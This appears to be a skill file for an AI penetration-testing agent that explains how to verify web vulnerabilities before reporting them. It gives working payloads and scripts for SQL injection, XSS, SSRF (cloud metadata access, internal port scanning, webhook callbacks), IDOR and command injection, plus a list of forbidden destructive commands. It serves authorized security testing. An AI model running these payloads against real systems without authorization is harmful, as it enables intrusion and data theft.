performing-exploit-verification
$
npx mdskill add xalgord/xalgorix/performing-exploit-verification- After discovering a potential vulnerability during any scanning or testing phase - Before calling `report_vulnerability` to prevent false positive reports - When automated scanners (nuclei, nikto, etc.) flag an issue that needs manual confirmation - When the initial exploit attempt is ambiguous (e.g., 500 error vs. actual RCE) - As the final gate before reporting ANY finding to the client
SKILL.md
.github/skills/performing-exploit-verificationView on GitHub ↗
---
name: performing-exploit-verification
description: Systematic methodology for safely confirming and documenting exploited vulnerabilities with reproducible proof, ensuring zero false positives before reporting.
domain: cybersecurity
subdomain: penetration-testing
tags:
- penetration-testing
- exploit-verification
- proof-of-concept
- false-positive-elimination
- vulnerability-confirmation
- safe-exploitation
version: '1.0'
author: xalgord
license: Apache-2.0
---
# Performing Exploit Verification
## When to Use
- After discovering a potential vulnerability during any scanning or testing phase
- Before calling `report_vulnerability` to prevent false positive reports
- When automated scanners (nuclei, nikto, etc.) flag an issue that needs manual confirmation
- When the initial exploit attempt is ambiguous (e.g., 500 error vs. actual RCE)
- As the final gate before reporting ANY finding to the client
## Most Often Missed & How to Confirm
- **Running the control test, not just the exploit** — the most common false positive is reporting a difference (size, status, timing) without a baseline + control proving the payload caused it. Always capture baseline → exploit → control.
- **Proportional timing for blind/time-based findings** — a single 5s delay can be network jitter. Confirm with SLEEP(0)/SLEEP(3)/SLEEP(7) and show the delay scales with the value, repeated 2-3x.
- **Encoding vs reflection for XSS** — `<script>` in the response is the framework defending, not a vuln. Confirm the payload appears unencoded and in an executable context (and execute it for DOM XSS).
- **Out-of-band source attribution** — for SSRF/XXE/blind RCE, confirm the callback came from the TARGET server's IP, not your own client/browser; otherwise it proves nothing.
- **IDOR needs two real sessions** — accessing your own object with a changed ID, or testing unauthenticated, is not IDOR. Show User A retrieving User B's data with A's token.
- **WAF/sanitizer masking** — a scanner hit that a WAF actually blocks, or that returns a generic 500, is a false positive until manually reproduced end-to-end.
- **How to confirm**: every finding ships with concrete proof matched to its category — extracted data (Cat A), the rendered/executed payload (Cat B), proportional timing or a target-sourced callback (Cat C), cross-session unauthorized data (Cat D), or command output like `id`/`whoami` (Cat E). Don't conclude a finding is real until it reproduces 3x and the control test diverges from the exploit; don't conclude it's a false positive until you've tried a WAF-bypass/alternate-encoding payload.
## Prerequisites
- **Initial finding**: A vulnerability hypothesis with at least one indicator
- **curl**: For HTTP-level verification
- **sqlmap**: For SQL injection confirmation
- **Burp Suite**: For request replay and manipulation
- **Python 3**: For custom verification scripts
- **Out-of-band callback**: Burp Collaborator, webhook.site, or agentmail
## Core Principle: DETECT → EXPLOIT → VERIFY → REPORT
**NEVER report a vulnerability you haven't verified with concrete, reproducible proof.**
## Workflow
### Step 1: Classify the Finding Type
Before verification, categorize what you're dealing with:
```
CATEGORY A — Data Extraction Required:
SQL Injection, LFI/RFI, SSRF (internal data), XXE, IDOR
→ Proof = actual extracted data in response
CATEGORY B — Reflected/Injected Content:
XSS, HTML Injection, SSTI, Header Injection
→ Proof = injected payload rendered/executed in response
CATEGORY C — Behavioral Confirmation:
Time-based SQLi, Blind SSRF, OOB XXE, Race Conditions
→ Proof = measurable timing difference or callback received
CATEGORY D — Access Control Bypass:
Auth bypass, privilege escalation, forced browsing
→ Proof = accessing restricted resource/data without authorization
CATEGORY E — Code Execution:
RCE, deserialization, file upload → shell
→ Proof = command output (id, whoami, hostname) in response
```
### Step 2: Safe Verification Per Vulnerability Type
#### SQL Injection Verification
```bash
# === STEP 1: Error-based confirmation ===
# Inject single quote and check for database error
BASELINE=$(curl -s "https://target.example.com/api/users?id=1" | wc -c)
SQLI=$(curl -s "https://target.example.com/api/users?id=1'" | wc -c)
echo "Baseline: $BASELINE bytes"
echo "With quote: $SQLI bytes"
# If sizes differ significantly OR error message appears → potential SQLi
curl -s "https://target.example.com/api/users?id=1'" | \
grep -iE "sql|syntax|mysql|postgresql|ora-|microsoft|sqlite|unterminated"
# === STEP 2: Time-based confirmation (definitive) ===
echo "Testing time-based..."
START=$(date +%s%N)
curl -s "https://target.example.com/api/users?id=1' AND SLEEP(5)-- -" > /dev/null
END=$(date +%s%N)
ELAPSED=$(( (END - START) / 1000000 ))
echo "Response time: ${ELAPSED}ms"
# If response took ~5000ms+ → CONFIRMED time-based SQLi
# Control test (should be fast):
START=$(date +%s%N)
curl -s "https://target.example.com/api/users?id=1' AND SLEEP(0)-- -" > /dev/null
END=$(date +%s%N)
CONTROL=$(( (END - START) / 1000000 ))
echo "Control time: ${CONTROL}ms"
echo "Delta: $(( ELAPSED - CONTROL ))ms"
# === STEP 3: Data extraction (highest proof) ===
sqlmap -u "https://target.example.com/api/users?id=1" \
--dbs --batch --risk=2 --level=3 \
--technique=T --time-sec=5 \
--output-dir=/tmp/sqlmap-verify/
# If databases listed → CONFIRMED with data extraction proof
```
#### XSS Verification
```bash
# === STEP 1: Check if input is reflected ===
PAYLOAD='<script>alert(1)</script>'
ENCODED='%3Cscript%3Ealert%281%29%3C%2Fscript%3E'
RESPONSE=$(curl -s "https://target.example.com/search?q=$ENCODED")
# Check for UNENCODED reflection
echo "$RESPONSE" | grep -c '<script>alert(1)</script>'
# Count > 0 → reflected XSS CONFIRMED
# Check if it's being encoded (NOT a vuln)
echo "$RESPONSE" | grep -c '<script>'
# If THIS matches but the raw one doesn't → properly encoded, NOT vulnerable
# === STEP 2: Context-aware payloads ===
# If reflected inside an HTML attribute:
curl -s 'https://target.example.com/search?q="><img src=x onerror=alert(1)>' | \
grep -o 'onerror=alert(1)'
# If reflected inside JavaScript:
curl -s "https://target.example.com/search?q=';alert(1);//" | \
grep -o "alert(1)"
# === STEP 3: DOM XSS (requires browser) ===
# Use browser_action to test DOM-based XSS
# Navigate to URL with payload in fragment/hash
# Check if alert fires or DOM is modified
```
#### SSRF Verification
```bash
# === STEP 1: Out-of-band callback ===
# Use agentmail or webhook for callback confirmation
OOB_URL="https://webhook.site/YOUR-UUID"
curl -s -X POST "https://target.example.com/api/fetch" \
-H "Content-Type: application/json" \
-d "{\"url\": \"$OOB_URL/ssrf-test\"}"
# Check webhook.site for incoming request from target server
# If received → CONFIRMED outbound SSRF
# === STEP 2: Internal service access ===
# Test for cloud metadata (AWS)
curl -s -X POST "https://target.example.com/api/fetch" \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/"}'
# If response contains instance metadata → CRITICAL SSRF confirmed
# === STEP 3: Port scan via SSRF ===
for PORT in 22 80 443 3306 5432 6379 8080 27017; do
echo -n "Port $PORT: "
RESP=$(curl -s -o /dev/null -w "%{time_total}" -X POST \
"https://target.example.com/api/fetch" \
-H "Content-Type: application/json" \
-d "{\"url\": \"http://127.0.0.1:$PORT\"}")
echo "${RESP}s"
done
# Timing differences reveal open vs closed internal ports
```
#### IDOR Verification
```bash
# === CRITICAL: IDOR requires TWO authenticated sessions ===
# Login as User A
TOKEN_A="Bearer eyJhbG...user_a_token"
# Login as User B
TOKEN_B="Bearer eyJhbG...user_b_token"
# Step 1: User A accesses their own resource
RESPONSE_A=$(curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/profile?id=100")
echo "User A's own data: $RESPONSE_A"
# Step 2: User A tries to access User B's resource
RESPONSE_B=$(curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/profile?id=101")
echo "User A accessing User B's data: $RESPONSE_B"
# Step 3: Compare — if User A gets User B's data → CONFIRMED IDOR
# If 403/401 → properly protected, NOT vulnerable
# If same data as User A → NOT IDOR (could be default/self redirect)
```
#### RCE Verification
```bash
# === SAFE COMMANDS ONLY ===
# NEVER use: rm, dd, mkfs, chmod 777, curl|sh, wget|sh
# Step 1: Identify command
curl -s "https://target.example.com/api/ping?host=;id" | grep "uid="
# If uid=xxx → CONFIRMED RCE
# Step 2: Multi-confirmation with safe commands
for CMD in "id" "whoami" "hostname" "uname -a" "cat /etc/hostname"; do
echo "=== $CMD ==="
curl -s "https://target.example.com/api/ping?host=;$CMD"
done
# Step 3: Time-based blind RCE
START=$(date +%s%N)
curl -s "https://target.example.com/api/ping?host=;sleep 5"
END=$(date +%s%N)
echo "Elapsed: $(( (END - START) / 1000000 ))ms"
# If ~5000ms → CONFIRMED blind RCE
```
### Step 3: Document Proof Systematically
Every verified finding MUST include:
```
## Verification Record
### Finding
- Vulnerability Type: [e.g., SQL Injection]
- Location: [URL + parameter]
- Method: [GET/POST]
### Baseline Request
- URL: https://target.example.com/api/users?id=1
- Response Code: 200
- Response Size: 1543 bytes
- Response Time: 120ms
### Exploit Request
- URL: https://target.example.com/api/users?id=1' AND SLEEP(5)-- -
- Response Code: 200
- Response Size: 1543 bytes
- Response Time: 5240ms ← 43x baseline
### Control Request
- URL: https://target.example.com/api/users?id=1' AND SLEEP(0)-- -
- Response Code: 200
- Response Size: 1543 bytes
- Response Time: 135ms ← matches baseline
### Conclusion
CONFIRMED: Time-based SQL injection. 5-second sleep causes proportional
response delay. Control with SLEEP(0) returns to baseline timing.
### Extracted Data (if applicable)
Database: mysql
Tables: users, orders, payments (via sqlmap --dbs)
```
### Step 4: False Positive Elimination Checklist
Before reporting, verify each item:
```bash
# === CHECKLIST ===
# 1. Is this reproducible? (run exploit 3 times)
for i in 1 2 3; do
echo "=== Attempt $i ==="
curl -s "https://target.example.com/vuln-endpoint" | head -5
done
# 2. Does the control test differ from the exploit test?
# (Baseline without payload vs. with payload)
# 3. Is the response ACTUALLY different, or just different Content-Length
# due to dynamic content (timestamps, ads, CSRF tokens)?
# 4. For time-based: Is the delay proportional to SLEEP value?
# Test SLEEP(3) → ~3s, SLEEP(7) → ~7s, SLEEP(0) → baseline
# 5. For XSS: Is the payload UNENCODED in the response, or is the
# framework encoding it (making it unexploitable)?
# 6. For IDOR: Did you use TWO different authenticated sessions?
# (Accessing your OWN data with a changed ID is not IDOR)
# 7. For SSRF: Did the TARGET server make the request, or did YOUR
# browser/client make it? (Check source IP in callback)
# 8. For scanners: Did nuclei/nikto flag it, but manual verification
# shows a WAF blocking the payload? → FALSE POSITIVE
```
## Key Concepts
| Concept | Description |
|---------|-------------|
| **Proof of Exploitation** | Concrete evidence (data, timing, callback) that a vulnerability is real |
| **Control Test** | A baseline request without the exploit to compare against |
| **Proportional Timing** | For blind attacks: delay scales with payload value (SLEEP(3)→3s, SLEEP(7)→7s) |
| **Out-of-Band Confirmation** | External callback received from the target server proving SSRF/XXE/RCE |
| **Two-Session IDOR** | Testing access control with two authenticated users, not just one |
| **False Positive** | Scanner flag or ambiguous response that doesn't represent a real vulnerability |
## Common Scenarios
| Scenario | Verification Method | Proof Required |
|----------|-------------------|----------------|
| Nuclei template match | Manual curl replay + check response | Unencoded payload or data extraction |
| Timing anomaly in response | SLEEP(N) with N=0,3,5,7 + baseline | Proportional delay matching N |
| Scanner reports "SQLi" | Manual quote test + sqlmap confirm | Database names or error-based confirm |
| Reflected input in page | Check encoding: raw vs HTML-entity | Raw `<script>` unencoded in source |
| Access control flag | Two-user session comparison | User A sees User B's data |
| File read in response | Confirm known file content match | `/etc/passwd` root entry in output |
## Anti-Patterns (DO NOT DO)
1. **Report scanner output as proof** — Scanner says "High" is not exploitation
2. **Use single request as proof** — Always baseline + exploit + control
3. **Confuse encoding with reflection** — `<script>` ≠ `<script>`
4. **Test IDOR unauthenticated** — That's "auth bypass", not IDOR
5. **Report timing jitter as blind SQLi** — Network variance ≠ SLEEP confirmation
6. **Skip the control test** — Without it, you can't prove causation